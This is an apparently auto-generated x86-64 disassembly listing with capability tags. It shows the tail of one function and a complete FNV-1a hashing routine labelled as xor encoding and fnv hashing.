call fcn.18000ede8
cmp rdi, 0xffffffffffffffff
je 0x180019a69
cmp rax, 0xffffffffffffffff
je 0x180019a69
sub rax, rdi
lea rcx, [rbp + 0x2f]
mov r8, rdi
mov rdx, rbx
lea r9, [rax + 4]
call fcn.18000edc8
jmp 0x180019a78
lea rdx, [0x18007e350]
mov rcx, rbx
call fcn.180004e8c
lea rcx, [rbp + 0x2f]
call fcn.180004e44
lea r11, [rsp + 0x90]
mov rax, rbx
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x180034bf4
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x18002066a
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x18002064d
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x180020638